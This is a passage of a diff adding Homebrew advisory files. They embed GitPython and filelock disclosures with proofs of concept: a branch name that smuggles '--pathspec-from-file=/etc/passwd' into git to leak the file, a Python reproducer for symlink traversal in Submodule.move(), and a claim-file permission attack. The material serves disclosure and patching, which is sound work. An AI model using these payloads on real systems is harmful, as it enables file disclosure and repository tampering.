GitPython actually built — the branch name became an option:\n\n```\n argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']\n```\n\n### Raw Response\n\nObserved output (`raw/05-six-line-consumer.txt`, tail) — git emits one `error:` line per unmatched\npathspec, which is one per line of the target file:\n\n```\nerror: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known to git\nerror: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git\nerror: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git'\n```\n\n`raw/03-full-file-disclosure.txt` counts the recovery against the real file:\n\n```\nArchivo objetivo: /etc/passwd (34 lineas no vacias)\n[CASO] repo.active_branch.checkout() — nadie paso un nombre de rama\n repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n -> GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34\n```\n\n## Impact\n\nAn attacker who can get an application to clone a repository they control reads any file the\napplication's process can read, with the contents returned in band. `/etc/passwd` was recovered in\nfull (34 of 34 lines) in the run recorded in `poc.log`.\n\nThe attacker needs **no account and no privilege in the consuming application**, and no\nconfiguration change anywhere: `allow_unsafe_options=False` is the default, and the vulnerable\nconsumer is six lines of ordinary code. This is the central use case of the library — CI systems,\nrepository importers, scanners and bots that clone user-supplied URLs.\n\n### Impact precondition\n\n**Holds if:** the consuming application clones a repository whose default branch name the attacker\nchose, and then calls `Head.checkout()` on it — most commonly as `repo.active_branch.checkout()`,\nwhich needs no branch-name input from the application at all.\n\n**Source writer:** the attacker, via the remote repository's `HEAD` and refs. Verified two ways —\n`git update-ref` + `symbolic-ref` on a bare repository, and `git push` to a plain git server, which\n`receive-pack` accepts without `--force` or special configuration\n(`raw/02-refname-accepted-and-cloned.txt`, `raw/06-push-accepts-refname.txt`). The application never\nwrites the branch name; `git clone` materialises it.\n\n**Observed in:** `validation/gitpython/head-checkout-positional-pathspec/` — GitPython 3.1.62\n(latest release) with git 2.55.0, in the single run recorded in `poc.log`\n(2026-09-10T02:10:23-03:00). File read: `/etc/passwd`, 34 of 34 lines recovered by the caller.\n\n\n### Limits, stated plainly\n\n- Only the full long spelling works, because a refname cannot contain a space and is therefore a\n single argv token; `git` rejects the abbreviated forms. This was established while developing the\n payload and is **not** part of the attached run — the run exercises the working spelling only.\n- The attacker must know an absolute path to the target file.\n- Lines are disclosed only when they do not match a path in the repository. With a one-file hostile\n repository none of them do, so the attacker controls this condition too.\n- The full-file result was measured on **git 2.55.0**, where `git checkout` emits one `error:` per\n unmatched pathspec. `GHSA-hh9p-6wh2-4mfc` notes that `--pathspec-from-file` alone quotes only the\n first line — that holds for `git rm`, which aborts with `fatal:` on the first. It does not hold for\n `git checkout` on 2.55.0.\n\n## Negative control\n\nFull statement of what each control isolates and what would invalidate it: `negative-controls.md`.\nEvery batch opens **and closes** with a positive control; if the closing one does not fire, the batch\nis discarded.\n\n**Positive control (opening and closing, 4 batches).** `Head.checkout(pathspec_from_file=\"/etc/passwd\")`\n— the same payload via kwargs. Fires in every batch:\n`UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it`.\nThis proves the guard exists, is active under the default, and recognises the option — so a null\nresult elsewhere cannot be the instrument failing to reach the code.\n\n**Negative control.** The identical call on a branch named `benigna`. One variable changes: the\nleading `-`. Result: `['git', 'checkout', 'benigna']`, no exception, 0 lines disclosed.\n\n**Precision control — the asymmetry inside one file** (`raw/04-precision-control-reset-vs-checkout.txt`).\nThe same payload against the two methods in `git/refs/head.py` that received the guard in the same\ncommit, 185 lines apart:\n\n```\n[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos\n HEAD.reset(commit=PAYLOAD) guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas [OK]\n Head.checkout() guard NO mira el posicional GitCommandError fuga=34 lineas [OK]\n```\n\n`HEAD.reset` (`head.py:101`, `_option_candidates([commit], kwargs)`) blocks what `Head.checkout`\n(`head.py:286`, `_option_candidates([], kwargs)`) lets through. This rules out the alternative\nexplanation that any string containing `--pathspec-from-file` reaching git would disclose the file.\n\n## Remediation\n\nOne line, consistent with what `f2550b65` already did for `HEAD.reset` in this same file:\n\n```python\n options=Git._option_candidates([self], kwargs),\n```\n\n**The other candidate was evaluated and rejected.** Writing\n`self.repo.git.checkout(\"--\", self, **kwargs)` would match the `--` pattern used elsewhere in the\nlibrary and would also cover future `git checkout` options — but it **changes the semantics and\nbreaks the method**: in `git checkout -- `, everything after `--` is a *pathspec*, not a branch.\nThe command would stop switching branches and start restoring files. The `--` pattern works for\n`fetch`/`pull`/`push`/`clone`/`archive`/`rm` because their positionals genuinely are non-branch\noperands; it does not transfer here.\n\nFor defence in depth, `Repo.create_head()` could reject branch names beginning with `-`, which would\nalso close the weaker `PR:L` path. That is a separate, optional change.\n\n## Prior art and de-duplication\n\nAll GitPython advisories in the GitHub database were reviewed —\n`gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate` returns **47**\n(the same command without `per_page` returns only the first page of 30). `Head.checkout` appears in\ntwo rows, one of which (`GHSA-w672-…`) is a withdrawn duplicate, leaving one substantive advisory:\n\n- **`GHSA-hh9p-6wh2-4mfc` / CVE-2026-76217** — same method, but the **kwargs** path\n (`pathspec_from_file=…, pathspec_file_nul=True`), fixed in 3.1.58. That path is closed today; it is\n the positive control in every batch of this report. The **positional** path is not covered by it.\n\nNeighbours, none overlapping:\n\n- **`GHSA-3wxw-xv34-2frg` / CVE-2026-78679** — the same **class** (positional bypasses a kwargs-only\n guard) in a different method, `TagReference.create`, fixed in 3.1.59 by `1b0d2d9b`. That is the\n patch that did not come back to `head.py:286`.\n- **`GHSA-956x-8gvw-wg5v` / CVE-2026-67323** — precedent for \"a value placed before the `--` with no\n leading-dash check\", in `Repo.iter_commits` / `Repo.blame`. Those sites now pass their positional\n to the guard; this one does not.\n- **`GHSA-7545-fcxq-7j24` / CVE-2026-44243** — path traversal via ref names in the reference APIs.\n Different sink (filesystem path construction) and different impact (write and delete), but it\n establishes that attacker-influenced ref names is a premise this project has already accepted.\n\n### No open fix proposal\n\nSearched across three surfaces, because `gh search issues` excludes pull requests: `gh search prs`,\n`gh search issues` and the raw `search/issues` API. **No open or closed issue or pull request\nproposes passing the positional to the guard in `Head.checkout`.** The three PRs that touch this\nguard (#2204, #2180, #2163) are all merged and none of them does it — #2204 is the PR that\nintroduced *both* call sites in this file, one checking its positional and one not. Full matrix in\n`dup-check.md`.\n\n### The project's own tests carry the same asymmetry\n\n`test/test_refs.py` exercises the guard for both methods, and covers exactly the difference this\nreport is about:\n\n- `HEAD.reset` — the **positional** is tested (lines 304-308).\n- `Head.checkout` — only the **kwargs** path is tested (lines 282-291).\n\nSo the positional variant is a case the suite already knows how to write; it just was not written\nfor `checkout`. The docstring added by #2204 to `Head.checkout` states that `--pathspec-from-file`\nrequires opt-in via `allow_unsafe_options` — which is precisely the guarantee the positional path\ndoes not deliver. Nothing in the project declares the positional acceptable here.\n\n### Why the one-line fix works, which is not obvious\n\n`Reference.__str__` returns `self.name`, not `self.path`. `Reference.name` strips the first two\npath components (`reference.py:122-132`), so a `Head` constructed on\n`refs/heads/--pathspec-from-file=/etc/passwd` passes `check_path` — the *path* does begin with\n`refs/heads/` — while `str()` yields the bare option. Passing `[self]` to `_option_candidates` makes\nthe guard see that same serialised string, which is why the one-line change closes it.\n\n## Evidence\n\n| File | What it establishes |\n|---|---|\n| `poc.sh` | driver — runs all seven scenarios as one unit |\n| `poc.log` | full transcript of the single reference run |\n| `raw/00-versions-and-source.txt` | version under test is the published one; guard and sink present; `def checkout(` appears once, so the sink line is unambiguous |\n| `raw/01-real-argv.txt` | real `git checkout` argv, captured by instrumenting `Git.execute` |\n| `raw/02-refname-accepted-and-cloned.txt` | git accepts the refname; `Repo.clone_from` materialises it unasked |\n| `raw/03-full-file-disclosure.txt` | 34 of 34 lines of `/etc/passwd` recovered |\n| `raw/04-precision-control-reset-vs-checkout.txt` | `HEAD.reset` blocks what `Head.checkout` allows |\n| `raw/05-six-line-consumer.txt` | six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught |\n| `raw/06-push-accepts-refname.txt` | a plain git server accepts the refname over `push` |\n| `raw/07-blob-version-sweep.txt` | affected range by blob hash, tag by tag |\n| `negative-controls.md` | what each control isolates and what would invalidate it |\n| `evidence.sha256` | integrity of every raw file and script |\n\n## Disclosure\n\nReported privately through GitHub private vulnerability reporting. No third-party systems were\ntouched: every repository in this report is a temporary local one, and all transport is `file://`.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2233" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/8da65080849a56a2fc9f3e7817bbf0524e8397d5" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-110860.json b/advisories/BREW-conda-lock-CVE-2026-110860.json new file mode 100644 index 00000000000..28bc1b1a29c --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-110860.json @@ -0,0 +1,78 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-110860", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-gq48-pqfc-9p58", + "CVE-2026-110860" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.0.0" + }, + { + "fixed": "4.0.3" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.2.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.2.1", + "key": "pkg:pypi/gitpython@3.2.1", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree", + "details": "## Summary\n\nGitPython's public `Submodule.move()` API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.\n\nThe reporter reproduced this on the latest release, GitPython 3.1.62, and current `main`. In the strict scenario, the repository commits `vendor -> ../outside`, while the consuming application independently passes the fixed literal `vendor/module`. `Submodule.move()` follows `vendor`, moves the initialized submodule checkout to `outside/module`, rewrites `.gitmodules` and the index to the symlinked path, and leaves the index unable to produce a tree.\n\nThe same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.\n\n## Trust boundary and preconditions\n\nThe attacker controls:\n\n- an untrusted Git repository that the application clones;\n- a mode-`120000` tracked symlink named `vendor`;\n- the initialized submodule's content.\n\nThe consuming application controls the call and uses a fixed layout rule:\n\n```python\nsubmodule.move(\"vendor/module\")\n```\n\nThe trigger requires the application to initialize the submodule and later call `Submodule.move()` with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires `core.symlinks=true` with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.\n\n## Product and directly verified revisions\n\n- Package: `GitPython` (`pip` ecosystem)\n- Latest release: 3.1.62, tag commit `db47516dac750c5968b8f6d388b18712c355df50`\n- Current `main`: `b62e91be897f687a622e40cd1e59c33dce45f124`\n- Relevant `git/objects/submodule/base.py` SHA-256 in both revisions: `a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c`\n- Upstream state rechecked: 2026-09-10 KST\n\nOnly these two revisions were directly tested.\n\n## Severity and weakness\n\nThe demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.\n\nFor a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, `AV:N` gives a conditional application-level score of 7.1. A fully automatic service may warrant a different `UI` assessment. The library report uses `AV:L` because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.\n\nNo confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.\n\n## Reproducer\n\nThe following script creates only temporary local repositories and a self-generated canary. It passes `protocol.file.allow=always` separately with `-c` on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.\n\nRun it from a fresh source checkout:\n\n```bash\ngit clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git\npython3 poc.py /path/to/GitPython\npython3 poc.py --absolute-link /path/to/GitPython\n```\n\n`--absolute-link` commits the temporary external directory's absolute path instead of `../outside`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local-only reproducer for GitPython Submodule.move() symlink traversal.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom typing import Optional\n\n\ndef run_git(\n *args: str, cwd: Optional[Path] = None, check: bool = True\n) -> subprocess.CompletedProcess:\n command = [\n \"git\",\n \"-c\",\n \"user.name=GitPython security fixture\",\n \"-c\",\n \"user.email=fixture@example.invalid\",\n \"-c\",\n \"protocol.file.allow=always\",\n *args,\n ]\n return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)\n\n\ndef read_core_worktree(parent) -> str:\n module_config = Path(parent.git_dir) / \"modules\" / \"logical-name\" / \"config\"\n return parent.git.config(\"--file\", str(module_config), \"--get\", \"core.worktree\")\n\n\ndef read_gitmodules_path(parent) -> str:\n modules_file = Path(parent.working_tree_dir) / \".gitmodules\"\n return parent.git.config(\n \"--file\", str(modules_file), \"--get\", \"submodule.logical-name.path\"\n )\n\n\ndef main() -> int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"source_root\", type=Path, help=\"GitPython source checkout\")\n parser.add_argument(\n \"--absolute-link\",\n action=\"store_true\",\n help=(\n \"Use the temporary external directory's absolute path as the committed \"\n \"symlink target\"\n ),\n )\n args = parser.parse_args()\n\n source_root = args.source_root.resolve()\n # The tested GitPython source trees include gitdb and smmap at their roots.\n sys.path[:0] = [\n str(source_root),\n str(source_root / \"gitdb\"),\n str(source_root / \"smmap\"),\n ]\n import gitdb # pylint: disable=import-outside-toplevel\n import smmap # pylint: disable=import-outside-toplevel\n from git import Repo # pylint: disable=import-outside-toplevel\n\n with tempfile.TemporaryDirectory(prefix=\"gitpython-move-poc-\") as temporary:\n root = Path(temporary)\n module_source = root / \"module-source\"\n attacker = root / \"attacker-parent\"\n victim = root / \"victim-parent\"\n outside = root / \"outside\"\n\n run_git(\"init\", \"--quiet\", str(module_source))\n (module_source / \"SELF_GENERATED_CANARY.txt\").write_text(\n \"SELF_GENERATED_CANARY\\n\", encoding=\"utf-8\"\n )\n run_git(\"add\", \"SELF_GENERATED_CANARY.txt\", cwd=module_source)\n run_git(\"commit\", \"--quiet\", \"-m\", \"fixture\", cwd=module_source)\n\n outside.mkdir()\n run_git(\"init\", \"--quiet\", str(attacker))\n run_git(\n \"submodule\",\n \"add\",\n \"--quiet\",\n \"--name\",\n \"logical-name\",\n str(module_source),\n \"module\",\n cwd=attacker,\n )\n link_target = str(outside.resolve()) if args.absolute_link else \"../outside\"\n (attacker / \"vendor\").symlink_to(link_target, target_is_directory=True)\n run_git(\"add\", \".gitmodules\", \"module\", \"vendor\", cwd=attacker)\n run_git(\"commit\", \"--quiet\", \"-m\", \"attacker-controlled layout\", cwd=attacker)\n\n run_git(\"clone\", \"--quiet\", str(attacker), str(victim))\n run_git(\"submodule\", \"update\", \"--init\", \"--quiet\", cwd=victim)\n\n parent = Repo(victim)\n submodule = parent.submodule(\"logical-name\")\n before = {\n \"status\": parent.git.status(\"--porcelain\"),\n \"write_tree\": parent.git.write_tree(),\n \"vendor_index\": parent.git.ls_files(\"--stage\", \"vendor\"),\n \"index_paths\": parent.git.ls_files().splitlines(),\n \"gitmodules_path\": read_gitmodules_path(parent),\n \"source_canary\": (victim / \"module\" / \"SELF_GENERATED_CANARY.txt\").exists(),\n \"external_canary\": (\n outside / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n ).exists(),\n \"module_core_worktree\": read_core_worktree(parent),\n }\n\n error = None\n try:\n submodule.move(\n \"vendor/module\"\n ) # Fixed application value; attacker does not control it.\n # Capture the exact type and text so a patched rejection remains visible.\n except Exception as exception:\n error = {\"type\": type(exception).__name__, \"message\": str(exception)}\n\n write_tree = None\n write_tree_error = None\n try:\n write_tree = parent.git.write_tree()\n except Exception as exception:\n write_tree_error = {\n \"type\": type(exception).__name__,\n \"message\": str(exception),\n }\n\n result = {\n \"imported_modules\": {\n \"git\": str(Path(sys.modules[\"git\"].__file__).resolve()),\n \"gitdb\": str(Path(gitdb.__file__).resolve()),\n \"smmap\": str(Path(smmap.__file__).resolve()),\n },\n \"committed_symlink_target\": link_target,\n \"before\": before,\n \"call_error\": error,\n \"after\": {\n \"status\": parent.git.status(\"--porcelain\"),\n \"source_canary\": (\n victim / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n ).exists(),\n \"external_canary\": (\n outside / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n ).exists(),\n \"index_paths\": parent.git.ls_files().splitlines(),\n \"gitmodules\": (victim / \".gitmodules\").read_text(encoding=\"utf-8\"),\n \"gitmodules_path\": read_gitmodules_path(parent),\n \"submodule_path\": submodule.path,\n \"module_core_worktree\": read_core_worktree(parent),\n \"write_tree\": write_tree,\n \"write_tree_error\": write_tree_error,\n },\n }\n print(json.dumps(result, indent=2, sort_keys=True))\n parent.close()\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n## Observed result\n\nThe relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions:\n\n| State | Before | After unpatched `move()` |\n| --- | --- | --- |\n| API result | not called | returns successfully |\n| Original checkout | `module/SELF_GENERATED_CANARY.txt` exists | checkout is gone |\n| External destination | `outside/module` absent | canary exists under `outside/module` |\n| Parent index | `.gitmodules`, `module`, `vendor` | `.gitmodules`, `vendor`, `vendor/module` |\n| `.gitmodules` path | `module` | `vendor/module` |\n| module `core.worktree` | `../../../module` | `../../../vendor/module` |\n| `git write-tree` | succeeds | fails |\n\nThe failure after the move is:\n\n```text\nYou have both vendor and vendor/module\nfatal: git-write-tree: error building trees\n```\n\nThe tracked attacker input is present in the clean clone before the call:\n\n```text\n120000 d09b80733baa4f6b198f2cf2d62bbfc5b6cbf1f0 0 vendor\n```\n\nWith the proposed patch, the same calls raise before mutation:\n\n```text\nValueError: Submodule checkout path 'vendor/module' contains a symbolic link\n```\n\nThe checkout, external directory, index, `.gitmodules`, and module configuration then remain unchanged, and `git write-tree` succeeds.\n\n## Root cause\n\n`Submodule._to_relative_path()` delegates to a helper that uses `abspath()`, `commonpath()`, and `relpath()` to enforce lexical containment. These operations normalize `..`, but they do not resolve or reject an existing intermediate symbolic link.\n\nThe relevant helper is `git.util._to_relative_path()`:\n\n```python\nroot_abs = osp.abspath(os.fspath(root))\npath_abs = osp.abspath(osp.join(root_abs, path_str))\ncommon_path = osp.commonpath([root_abs, path_abs])\nif common_path != root_abs:\n raise ValueError(...)\nrelative_path = to_native_path_linux(osp.relpath(path_abs, root_abs))\n```\n\n`Submodule.move()` then joins the accepted relative path to the worktree and passes it to filesystem operations, including `os.listdir()` and `os.renames()`:\n\n```python\nmodule_checkout_path = self._to_relative_path(self.repo, module_path)\n...\nmodule_checkout_abspath = join_path_native(str(self.repo.working_tree_dir), module_checkout_path)\n...\nos.renames(cur_path, module_checkout_abspath)\n```\n\nThe operating system resolves `vendor/module` through the checked-out `vendor` link at that point.\n\nGitPython already applies the intended component check to the source checkout through `Submodule.abspath`: it walks every component and rejects `os.path.islink(path)`. The destination in `move()` does not use that guard.\n\n## Suggested fix\n\nThe proposed patch below factors the existing component walk into a shared checkout-path helper and applies it to the normalized move destination before any filesystem, index, or configuration mutation. It:\n\n- normalizes the destination exactly once;\n- preserves the existing early return for a no-op move;\n- rejects symbolic links in every intermediate destination component;\n- preserves existing final-component symlink behavior;\n- leaves `Submodule.abspath`'s all-component guard intact.\n\nThe final-component exception preserves current compatibility. The existing code first uses `isfile()` and `listdir()` to classify the link target, then uses `os.remove()` to unlink an empty-directory leaf symlink before moving the checkout. Tests confirm that an empty-directory leaf link is replaced while its target remains unchanged; non-empty-directory and file targets are rejected; a dangling leaf produces `OSError` without changing repository state. Because the pre-removal `isfile()`, `exists()`, and `listdir()` calls follow the leaf link, the existing behavior retains an existence/emptiness oracle for that external target; the proof demonstrates no write through the leaf link.\n\nThe component check closes the non-racing, attacker-committed symlink case reported here. It is not a claim of protection against a concurrent same-user process replacing a checked directory after validation; descriptor-relative traversal and rename would be needed if that separate race is in scope. Because `move()` is decorated with `@unbare_repo`, `working_tree_dir` should be present; the helper nevertheless changes an impossible or malformed `None` state from the previous `str(None)` path construction to an explicit `NotADirectoryError`.\n\n## Validation\n\nThe strict clean-clone proof was run with both relative and absolute committed symlink targets:\n\n| Revision | macOS ARM64 unpatched | Linux ARM64 unpatched | macOS patched | Linux patched |\n| --- | --- | --- | --- | --- |\n| 3.1.62 | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation |\n| `main` `b62e91b` | escape reproduced | escape reproduced | rejected before mutation | rejected before mutation |\n\nBoth platforms were ARM64 on the same physical Mac; Linux ran in a local LinuxKit VM image. All runs used Python 3.14.7. The Linux runs used a local image by immutable SHA-256, with networking disabled, a read-only container root and source mount, and a temporary writable `/tmp`.\n\nPinned reproducer SHA-256: `513b6f32fc44cc74bee1ca8e81e8ed3f48ae89bfdc332dd6782886bfd1d6a79c`.\n\nThe documented shallow-clone command was also executed from a new temporary directory at 3.1.62. The reproducer resolved `git`, `gitdb`, and `smmap` from that checkout (`git/__init__.py`, `gitdb/gitdb/__init__.py`, and `smmap/smmap/__init__.py`) and reproduced the same external move. In that exact checkout, `git ls-tree HEAD gitdb smmap git/ext` reports ordinary mode-`040000` trees for root `gitdb` and `smmap`, no `.gitmodules` file exists, and `git submodule status --recursive` produces no entries. No recursive submodule checkout or preinstalled GitPython dependency was used for that bootstrap check. The evidence package includes both the raw local tree transcript and the matching official GitHub tree API entries.\n\nThe revised patch also passed 12 focused tests on each revision on each platform (48 test executions total). They cover:\n\n- relative and absolute ordinary moves from an external process working directory;\n- relative and absolute no-op ordering;\n- no-op compatibility when the stored path includes an existing symlink;\n- the unchanged `Submodule.abspath` leaf-link guard;\n- relative and absolute intermediate-link rejection before rename;\n- empty-directory, non-empty-directory, file, and dangling final-component link behavior.\n\nRuff 0.16.6 lint and format checks, Python compilation, patch application, and patched-file byte comparison passed for both revisions. GitPython's complete upstream test suite and mypy were not run against the patch; the test claim is limited to the focused matrix described above.\n\nAdditional saved controls on both revisions record rejection of `../` and absolute API destinations, preservation of existing files and non-empty directories, the final-component link behavior, and `RootModule.update()` rejecting the tested commit-to-commit symlinked path before its internal move. These controls are separate from the strict 16-run proof.\n\n## Impact limits and compatibility observations\n\n- An existing destination file and an existing non-empty destination directory are preserved and rejected.\n- A missing or empty leaf below an external symlink target can be populated.\n- `../` and an absolute API destination outside the worktree are already rejected; the bypass is filesystem resolution of a lexically in-tree path.\n- `RootModule.update()` rejects the tested commit-to-commit symlinked path before its internal `move()` call, so ordinary clone/update is not an automatic trigger.\n- The proof does not require or demonstrate a local race.\n- The directly demonstrated relative target is the practical repository-relative case. The absolute variant proves target-path scope using a temporary path known to the fixture; a remote attacker would instead need a predictable absolute directory on the victim.\n- The exact affected history before 3.1.62 has not been established.\n\n## AI assistance and credit\n\nThis report was prepared with AI assistance. The working proof was executed locally against both pinned revisions on macOS and Linux, and every reported state transition was checked against saved structured output. The proposed patch and focused tests were executed independently from the vulnerable proof.\n\nRequested credit: GitHub user `dpfkdlemtp`.", + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-gq48-pqfc-9p58" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2232" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/24b6f95d4b90ab1483fb601c736ac6e7c059cd61" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-112908.json b/advisories/BREW-conda-lock-CVE-2026-112908.json new file mode 100644 index 00000000000..21199a4e56d --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-112908.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-112908", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-6627-m3xw-93mp", + "CVE-2026-112908" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.2_2" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@3.32.7" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "3.32.7", + "key": "pkg:pypi/filelock@3.32.7", + "resource": "filelock" + } + ] + }, + "summary": "filelock: StrictSoftFileLock creates its claim directories without the lock mode, so another local user with a write bit on them can end a live hold", + "details": "`StrictSoftFileLock` and `AsyncStrictSoftFileLock` apply the caller's `mode` to the sentinel (the lock file at ``) and to both claim files (the files whose presence says a process wants or holds the lock). They create the two directories that hold the claims, `.filelock` and `.filelock/claims`, with a bare `mkdir()`. That gives `0o777` filtered through the umask (a per-process mask that removes permission bits from new files and directories) or, under a parent with a default ACL (an access control list on a directory that sets the permissions of entries created inside it), through that ACL.\n\nA hold consists of two claim names in that directory, which has no sticky bit (a directory flag that lets only a file's owner remove it). When the environment leaves another local user (the other user below) a write bit on the directory, that user can unlink the holder's `0600` claims. Three settings do this: umask `000` in a sticky directory such as `/tmp`, umask `002` with the other user in the directory's group, or a default ACL on the lock's parent that grants the group write (the kernel then ignores the umask). After the unlink, the next contender of the holder's account finds the directory empty and enters. The first holder keeps reporting `is_locked == True` and later releases with no error. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-AD6SUOON`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L, 5.3 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the holder must pass a restrictive `mode` while its umask or the parent's default ACL leaves the other user a write bit on new directories, and a contender of the holder's account must ask for the lock after the claims are gone. With the common umask `022` and no default ACL the directories are `0755`, and the kernel refuses the other user's unlink. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the holder's processes act on their own.\n\n`C:N` (no confidentiality impact): the `0600` claim files stay unreadable. `I:H` (high integrity impact): two holders then write the data the lock protects, and neither learns of the other. `A:L` (low availability impact): the same write access lets the other user create names in `claims`, and an empty file named `held-v1-<32 zeros>.claim` makes the next `acquire()` raise `SoftFileLockProtocolError` (\"malformed claim record\") until someone removes it. Classification from the review: security, conditional on a lax umask or a permissive default ACL. The scanner rated it high (CWE-732).\n\n## Scope and preconditions\n\n- The holder passes a restrictive `mode` such as `0o600`. Without one, the umask decides the permissions by documented design (the \"File permissions and mode\" section of `docs/concepts.rst` defines `mode` only for the lock file). Umask `000` with the default mode gives the same two-holder result but is outside this finding.\n- The holder's environment leaves the other user a write bit on new directories. The scanner measured three ways, with `mode=0o600` and the other user a member of group `team`:\n\n | lock's parent directory | holder's umask | `.filelock` and `claims/` | who can unlink the claims |\n |---|---|---|---|\n | `1777`, like `/tmp` | `000` | `0777` | any other local user |\n | `root:team`, `3775` (setgid, so new entries inherit the group, and sticky) | `002` | `2775` | any member of `team` |\n | `root:team`, `1770`, default ACL `group:team:rwx` (`setfacl -d -m g:team:rwx`) | `077` | `0770` | any member of `team` |\n | `root:team`, `3775`, no ACL | `022` | `2755` | no one; the second process times out |\n\n The default-ACL row is the strongest. A holder with a private umask and `mode=0o600` still gets group-writable claim directories. The lock file in that row is `0600`, because its mode reaches `os.open` and masks the inherited ACL.\n- A contender that may enter asks for the lock: another process of the holder's account, or root. Nothing needs planting 